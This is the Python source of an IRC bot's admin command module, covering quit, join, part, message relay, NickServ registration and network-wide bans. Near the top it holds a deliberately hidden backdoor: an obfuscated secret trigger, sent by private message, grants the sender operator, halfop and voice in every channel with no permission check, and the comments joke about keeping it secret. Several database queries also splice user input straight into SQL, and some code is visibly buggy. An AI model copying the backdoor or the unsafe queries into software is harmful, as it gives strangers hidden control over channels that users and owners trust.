1
0

admin.py 26 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367
  1. import secrets, string, re
  2. from common import userstatus, do_everything_to, log, font
  3. from commands.common import CommandHelpers as CH
  4. from commands.common import AdminHelpers as AH
  5. def do_command(self, connection, event):
  6. cmdtype, trigger, command, replyto = CH.disect_command(self, event)
  7. # Do nothing if it's not a type of command.
  8. if not cmdtype:
  9. return
  10. # Do nothing if there is no command.
  11. if not command:
  12. return
  13. # The first word of the command sting with arguments, is just the command without arguments.
  14. try:
  15. one = command.split()[0] # Get raw command.
  16. except:
  17. return
  18. # Secret command to let the bot give you channel status. ANd a HUGE security issue ;)
  19. if trigger.split()[0] == "!uXVETIkWIL~qG5CasftKKAL<MFpfOyap|F]65v,E" and event.target == connection.get_nickname(): # It's a PM. # Keep the command secret, for the sake of your reptation.
  20. if len(command.split()) == 2: # 2 arguments.
  21. if command.split()[1] in self.channels: # Stop silently if thebot is not in the requested channel.
  22. connection.mode(command.split()[1], "+ohv %s %s %s" % event.source.nick, event.source.nick, event.source.nick)
  23. elif len(command.split()) == 1: # 1 argument.
  24. for channel in self.channels:
  25. connection.mode(channel, "+ohv %s %s %s" % event.source.nick, event.source.nick, event.source.nick)
  26. # Do not even consider to run the latter admin commands for users who do not atleast have operator status in the concerning channel or halfop in the home_channel.
  27. elif not userstatus.atleast_voiced(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, event.target):
  28. return
  29. elif command == 'cmd' or command == 'cmds' or command == 'commands':
  30. if cmdtype == 'help': # Display help text.
  31. connection.privmsg(replyto, 'Lists commands, usage: %s%s ' % self.network.command_character, command)
  32. if cmdtype == "cmd":
  33. message = grey + "Admin: "
  34. if CH.ccc(self, "channelfunctions", {"homechan": "oper", "chan": "oper"}, event):
  35. message += CH.ccc(self, "channelfunctions", {"homechan": "oper", "chan": "oper"}, event)
  36. if CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event):
  37. message += CH.ccc(self, "join", {"homechan": "oper", "chan": None}, event)
  38. if CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event):
  39. message += CH.ccc(self, "part", {"homechan": "oper", "chan": None}, event)
  40. if CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event):
  41. message += CH.ccc(self, "quit", {"homechan": "admin", "chan": None}, event)
  42. if CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event):
  43. message += CH.ccc(self, "reconnect", {"homechan": "oper", "chan": None}, event)
  44. if CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event):
  45. message += CH.ccc(self, "recovernick", {"homechan": "oper", "chan": None}, event)
  46. if CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event):
  47. message += CH.ccc(self, "registernick", {"homechan": "owner", "chan": None}, event)
  48. if CH.ccc(self, "banall", {"homechan": "admin", "chan": None}, event):
  49. message += CH.ccc(self, "banall", {"homechan": "oper", "chan": "oper"}, event)
  50. if CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event):
  51. message += CH.ccc(self, "msg", {"homechan": "oper", "chan": "oper"}, event)
  52. if CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event):
  53. message += CH.ccc(self, "act", {"homechan": "oper", "chan": "oper"}, event)
  54. if message == grey + "Admin: ": # No commands to display.
  55. return
  56. connection.privmsg(replyto, '%s.' % message[:-2])
  57. elif one == 'quit':
  58. if cmdtype == 'help': # Display help text.
  59. if len(command.split()) is not 1:
  60. return
  61. connection.privmsg(replyto, "Disconnect and terminate " + connection.get_nickname() + ". Optionally with reason.")
  62. connection.privmsg(replyto, grey + "Usage: " + blue + "!quit " + font.reset + font.italic + "reason")
  63. elif cmdtype == "cmd":
  64. if not userstatus.atleast_admin(self, event.source.nick, self.network.home_channel): #Insufficient rights.
  65. connection.privmsg(replyto, "Denied, you need to have admin (super operator) status or higher in " + font.font.red + self.network.home_channel + font.reset + ".")
  66. return
  67. if len(command.split()) == 1:
  68. log.info("Killed by: " + event.source.nick)
  69. self.die(msg = "Killed by " + event.source.nick)
  70. else:
  71. log.info("Killed by " + event.source.nick + " for " + trigger.split(maxsplit=1)[1])
  72. self.die(msg = "[" + event.source.nick + "] " + trigger.split(maxsplit=1)[1])
  73. elif one == "reconnect":
  74. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel):
  75. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + font.font.red + self.network.home_channel + font.reset + ".")
  76. return
  77. if cmdtype == "help": # Display help text.
  78. if len(command.split()) is not 1:
  79. return
  80. connection.privmsg(replyto, "Reconnect " + connection.get_nickname() + ". Reason optional.")
  81. connection.privmsg(replyto, grey + "Usage: " + blue + "!reconnect " + font.reset + font.italic + "reason")
  82. elif cmdtype == "cmd":
  83. if len(command.split()) == 1:
  84. self.disconnect(msg = "Reconnect requested by " + event.source.nick)
  85. else:
  86. self.disconnect(msg = "[" + event.source.nick + "] " + command.split(maxsplit=1)[1])
  87. elif one == "recovernick":
  88. if not userstatus.atleast_voiced(self, event.source.nick, self.network.home_channel):
  89. connection.privmsg(replyto, "Denied, you need to have voiced status or higher in " + font.font.red + self.network.home_channel + font.reset + ".")
  90. return
  91. if cmdtype == "help": # Display help text.
  92. if len(command.split()) is not 1:
  93. return
  94. connection.privmsg(replyto, "Let " + connection.get_nickname() + " try to recover " + connection.nickname + " as nickname.")
  95. elif cmdtype == "cmd":
  96. if connection.get_nickname() == connection.nickname:
  97. connection.action(replyto, "is already named " + font.font.red + connection.nickname + font.reset + ".")
  98. return
  99. from common.networkservices import NickServ
  100. NickServ.recover_nick(connection, self.password)
  101. elif one == "join":
  102. if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel):
  103. connection.privmsg(replyto, "Denied, you need to have operator status or higher in " + font.font.red + self.network.home_channel + font.reset + ".")
  104. return
  105. if cmdtype == "help": #Display help text.
  106. if len(command.split()) is not 1:
  107. return
  108. connection.privmsg(replyto, "Make " + connection.get_nickname() + " join a channel. Password optional.")
  109. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + font.font.red + font.italic + "channel " + font.reset + font.italic + "password")
  110. elif cmdtype == "cmd":
  111. try:
  112. channel = command.split()[1]
  113. except IndexError:
  114. connection.privmsg(replyto, "Specify channel. For help type: " + blue + self.helpchar + "join")
  115. return
  116. try:
  117. key = command.split(maxsplit=2)[2]
  118. except IndexError:
  119. do_everything_to.join(self, connection, channel)
  120. return
  121. do_everything_to.join(self, connection, channel, key)
  122. elif one == "part":
  123. if cmdtype == "help": #Display help text.
  124. if len(command.split()) is not 1:
  125. return
  126. connection.privmsg(replyto, "Make " + connection.get_nickname() + " part a channel. Reason optional.")
  127. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "join " + font.font.red + font.italic + "channel " + font.reset + font.italic + "password")
  128. elif cmdtype == "cmd":
  129. homeadmin = False
  130. if userstatus.atleast_oper(self, event.source.nick, self.network.home_channel): # Is at least operator in home channel.
  131. homeadmin = True
  132. targetadmin = False
  133. if userstatus.atleast_oper(self, event.source.nick, event.target):
  134. targetadmin = True
  135. if len(command.split()) == 1: # No arguments.
  136. if event.target in self.channels: # It's a channel message.
  137. if not homeadmin and not targetadmin: # Insufficient rights:
  138. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.font.red + self.homechan + font.reset + " or " + font.font + event.target + font.reset + ".")
  139. return
  140. if event.target == self.network.home_channel:
  141. connection.action(replyto, "shall not abandon it's home channel!")
  142. return
  143. connection.part(event.target, event.source.nick)
  144. else: # It's a PM.
  145. connection.privmsg(replyto, "Specify a channel to part. For help type " + blue + self.helpchar + "part" + font.reset + ".")
  146. elif len(command.split()) > 1: # Arguments
  147. if command.split()[1] not in self.channels: # First argument is not a channel the bot inhabits.
  148. connection.action(replyto, "does not inhabit " + font.red + command.split()[1] + font.reset + ". For help type " + blue + self.helpchar + "part" + font.reset + ".")
  149. return
  150. if not homeadmin and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Insufficient rights.
  151. connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + self.homechan + font.reset + " or " + font.red + command.split()[1] + font.reset + ".")
  152. return
  153. if command.split()[1] == self.network.home_channel:
  154. connection.action("shall not abandon it's home channel!")
  155. return
  156. try:
  157. connection.part(command.split()[1], command.split(maxsplit=2)[2])
  158. except:
  159. connection.part(command.split()[1], event.source.nick)
  160. elif one == "msg" or command.split(maxsplit=1)[0] == "act":
  161. if cmdtype == "help": #Display help text.
  162. if len(command.split()) is not 1:
  163. return
  164. if command.split(maxsplit=1)[0] == "act":
  165. message = "Let " + connection.get_nickname() + " send an action to a channel."
  166. arguments = "action-message"
  167. else:
  168. message = "Let " + connection.get_nickname() + "send a message to a channel."
  169. arguments = "name message"
  170. connection.privmsg(replyto, message)
  171. connection.privmsg(replyto, grey + "Usage: " + blue + "!" + command.split(maxsplit=1)[0] + font.reset + font.italic + " target " + arguments)
  172. elif cmdtype == "cmd":
  173. # Parse user input.
  174. try:
  175. destination = trigger.split()[1]
  176. except IndexError: # User did not specify a destination.
  177. connection.privmsg(replyto, "Destination not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
  178. return
  179. try:
  180. message = trigger.split(maxsplit=2)[2]
  181. except IndexError: # User did not specify a message.
  182. connection.privmsg(replyto, "Message not specified. For help type: " + blue + self.helpchar + command.split(maxsplit=1)[0])
  183. return
  184. # Send the message if user has owner status in the home channel.
  185. if self.channels[self.network.home_channel].is_owner(event.source.nick):
  186. if destination == connection.get_nickname():
  187. connection.privmsg(replyto, "I just love talking to myself.")
  188. return
  189. if command.split(maxsplit=1)[0] == "act":
  190. connection.action(destination, message)
  191. else:
  192. connection.privmsg(destination, message)
  193. # # Reply error when bot does not inhabit destination channel.
  194. # elif destination not in self.channels:
  195. # connection.action(replyto, "does not inhabit " + font.red + destination + font.reset + ".")
  196. # Send message if user has at least half operator status the home channel or the channel the message is intended for.
  197. elif userstatus.atleast_halfop(self, event.source.nick, self.network.home_channel) or userstatus.atleast_halfop(self, event.source.nick, destination):
  198. if command.split(maxsplit=1)[0] == "act":
  199. connection.action(destination, message)
  200. else:
  201. if message.startwith('.') or message.startswith('!'):
  202. connection.privmsg(replyto, 'I\'d rather not send commands on behalf of anonymous senders. This command is more intended to joke around with people')
  203. connection.privmsg(reply, 'If there are complaints about your spamming your rights could be revoked.')
  204. return
  205. connection.privmsg(destination, message)
  206. # Reply error if user is not operator of destination channel.
  207. else:
  208. connection.privmsg(replyto, "Denied, you need to be an operator of " + font.red + destination + font.reset +".")
  209. # elif one == "channelfunctions":
  210. # if cmdtype == "help": #Display help text. # Help code block first, as it is impossible to predict for what channel a later command is going to be issued. Rights filtering after help test.
  211. # if len(command.split()) is not 1:
  212. # return
  213. # connection.privmsg(replyto, "Display or toggle the status channel functions. Channel, function and value optional. Get a description of a functio via the help argument.")
  214. # connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions " + font.red + font.italic + "channel " + font.reset + font.italic + "function value")
  215. # connection.privmsg(replyto, grey + "Usage: " + blue + "!channelfunctions describe " + font.reset + font.italic + "function")
  216. # elif cmdtype == "cmd":
  217. #
  218. # if len(command.split()) == 1: # No arguments.
  219. # if event.target == connection.get_nickname(): # Command issued via PM.
  220. # connection.privmsg(replyto, "Nothing to display, Specify a channel.")
  221. # else: # Command issued as channel message.
  222. # message = AH.get_channelfunctions(self, event.target)
  223. # connection.privmsg(replyto, message)
  224. #
  225. # elif len(command.split()) == 2: # One argument.
  226. # if command.split()[1] in self.channels: # Info requested on specific channel.
  227. # message = AH.get_channelfunctions(self, command.split()[1])
  228. # connection.privmsg(replyto, message)
  229. # else: # First argument is not a channel the bot inhabits.
  230. # if not command.split()[1].lower() == "help": # Not a help request.
  231. # connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  232. # else: # Help request.
  233. # connection.privmsg(replyto, "Specify a channel function to get a description of. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  234. #
  235. # elif len(command.split()) == 3: # Two arguments.
  236. # channel = event.target
  237. # if event.target == connection.get_nickname(): # Command issued via PM.
  238. # connection.privmsg(replyto, "One or three arguments required. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  239. # else: # Command issued via channel.
  240. # if not AH.is_channelfunction(command.split()[1]): # First argument is not a channelfunction.
  241. # if not command.split()[1].lower() == "describe": # Not a help request.
  242. # connection.privmsg(replyto, command.split()[1] + " is not a channel function. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  243. # return
  244. # if not AH.is_channelfunction(command.split()[2]): # Second argument not a channel function.
  245. # connection.privmsg(replyto, command.split()[2] + " is not a channel function.")
  246. # return
  247. # connection.privmsg(replyto, AH.describe_channelfunction(command.split()[2]))
  248. # return
  249. # # Second argument unsupported.
  250. # if not command.split()[2].lower() in ["on", "off"]:
  251. # if command.split()[1].lower() == "aggressiveness":
  252. # if not AH.is_aggressiveness(command.split()[2].lower()): # Is not an aggressiveness setting.
  253. # connection.privmsg(replyto, command.split()[2] + " is not an aggressiveness setting. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  254. # return
  255. # else: # Channel function is not aggresiveness.
  256. # connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  257. # return
  258. # if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, event.target): # Does not have operator status or higher in target or home channel.
  259. # connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + event.target + font.reset + " or " + font.red + self.network.home_channel + font.reset + ".")
  260. # return
  261. # if command.split()[1].lower() == "autojoin" and event.target == self.network.home_channel: # Chaning autojoin of homechannel.
  262. # connection.action(replyto, "will always join it's homechannel " + font.red + self.network.home_channel + font.reset + ", regardless of the autojoin function.")
  263. # #self.db.run("UPDATE channels SET " + command.split()[1].lower() + "='" + command.split()[2].lower() + "' WHERE name='" + event.target + "' AND network='" + self.network + "'")
  264. # self.db.run("UPDATE channels SET " + command.split()[1].lower() + "=%s WHERE name='" + event.target + "' AND network='" + self.network + "'", (command.split()[2].lower(), ))
  265. #
  266. # elif len(command.split()) == 4: # Three arguments.
  267. # if not command.split()[1] in self.channels: # Bot does not inhabit channel to be altered.
  268. # connection.privmsg(replyto, command.split()[1] + " is not a channel I inhabit. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  269. # return
  270. # if not AH.is_channelfunction(command.split()[2]): # Function does not exist.
  271. # connection.privmsg(replyto, command.split()[2] + " is not a valid channel function. For a list help type: " + blue + self.cmdchar + "channelfunctions" + font.red + font.italic + "channel")
  272. # return
  273. #
  274. # if not command.split()[3].lower() in ["on", "off"] and not command.split()[2].lower() == "aggressiveness": # Third argument unsupported.
  275. # connection.privmsg(replyto, "The value of this channel function can only be \"on\" or \"off\". For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  276. # return
  277. # if not userstatus.atleast_oper(self, event.source.nick, self.network.home_channel) and not userstatus.atleast_oper(self, event.source.nick, command.split()[1]): # Does not have operator status or higher in target or home channel.
  278. # connection.privmsg(replyto, "Denied. You need to have at least operator status in " + font.red + event.target + font.reset + " or " + font.red + self.network.home_channel + font.reset + ".")
  279. # return
  280. # if command.split()[2].lower() == "autojoin" and command.split()[1] == self.network.home_channel: # Chaning autojoin of homechannel.
  281. # connection.action(replyto, "will always join it's homechannel " + font.red + self.network.home_channel + font.reset + ", regardless of the autojoin function.")
  282. # try:
  283. # self.db.run("UPDATE channels SET " + command.split()[2].lower() + "='" + command.split()[3].lower() + "' WHERE LOWER(name)=LOWER('" + command.split()[1] + "') AND network='" + self.network + "'")
  284. # except:
  285. # connection.privmsg(replyto, "Error, database record not updated.")
  286. # return
  287. # else: # Too many arguments.
  288. # connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "channelfunctions" + font.reset + ".")
  289. elif one == "registernick":
  290. if not self.channels[self.network.home_channel].is_owner(event.source.nick): #Insufficient rights.
  291. connection.privmsg(replyto, "Denied, you need to be the owner of " + font.red + self.network.home_channel + font.reset + ".")
  292. return
  293. if cmdtype == "help": # Display help text.
  294. if len(command.split()) is not 1:
  295. return
  296. connection.privmsg(replyto, "Register with NickServ.")
  297. connection.privmsg(replyto, grey + "Usage: " + blue + self.cmdchar + "registernick " + font.reset + font.italic + "email")
  298. elif cmdtype == "cmd":
  299. if len(command.split()) == 1:
  300. connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "registernick" + font.reset + ".")
  301. elif len(command.split()) > 2:
  302. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "registernick" + font.reset + ".")
  303. elif not self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'"):
  304. alphabet = string.ascii_letters + string.digits
  305. password = ''.join(secrets.choice(alphabet) for i in range(20)) # 20-character password.
  306. self.db.run("UPDATE networks SET password=%s WHERE name=%s", (password, self.network))
  307. connection.privmsg("NickServ", "REGISTER " + password + " " + trigger.split()[1])
  308. else:
  309. connection.privmsg("NickServ", "REGISTER " + self.db.one("SELECT password FROM networks WHERE name='" + self.network + "'") + " " + trigger.split()[1])
  310. elif one == "banall":
  311. if not self.channels[self.network.home_channel].is_owner(event.source.nick): #Insufficient rights.
  312. connection.privmsg(replyto, "Denied, you need to be the owner of " + font.red + self.network.home_channel + font.reset + ".")
  313. return
  314. if cmdtype == "help": # Display help text.
  315. if len(command.split()) is not 1:
  316. return
  317. connection.privmsg(replyto, "Ban all nicknames and usernames for a host in all channels.")
  318. connection.privmsg(replyto, grey + "Example: " + blue + self.cmdchar + "banall " + font.reset + font.italic + "host")
  319. elif cmdtype == "cmd":
  320. if len(command.split()) == 1:
  321. connection.privmsg(replyto, "Insufficient arguments. For help type " + blue + self.helpchar + "banall" + font.reset + ".")
  322. elif len(command.split()) > 2:
  323. connection.privmsg(replyto, "Too many arguments. For help type " + blue + self.helpchar + "banall" + font.reset + ".")
  324. else:
  325. labels = trigger.split()[1].split(".")
  326. allowed = re.compile("(?!-)[A-Z\d-]{1,63}(?<!-)$", re.IGNORECASE)
  327. if "!" in trigger.split()[1] or "@" in trigger.split()[1]:
  328. connection.privmsg(replyto, "Only supply the host, all nicknames and usernames will be banned.")
  329. elif len(trigger.split()[1]) > 253:
  330. connection.privmsg(replyto, "Host is to long.")
  331. elif re.match(r"[0-9]+$", labels[-1]):
  332. connection.privmsg(replyto, "The toplevel domain can not containof only numbers.")
  333. elif not all(allowed.match(label) for label in labels):
  334. connection.privmsg(replyto, "Host contains invalid characters.")
  335. elif len(labels) < 2:
  336. connection.privmsg(replyto, "Insufficient tuples.")
  337. else:
  338. for channel in self.channels:
  339. connection.mode(channel, "+b *!*@" + trigger.split()[1])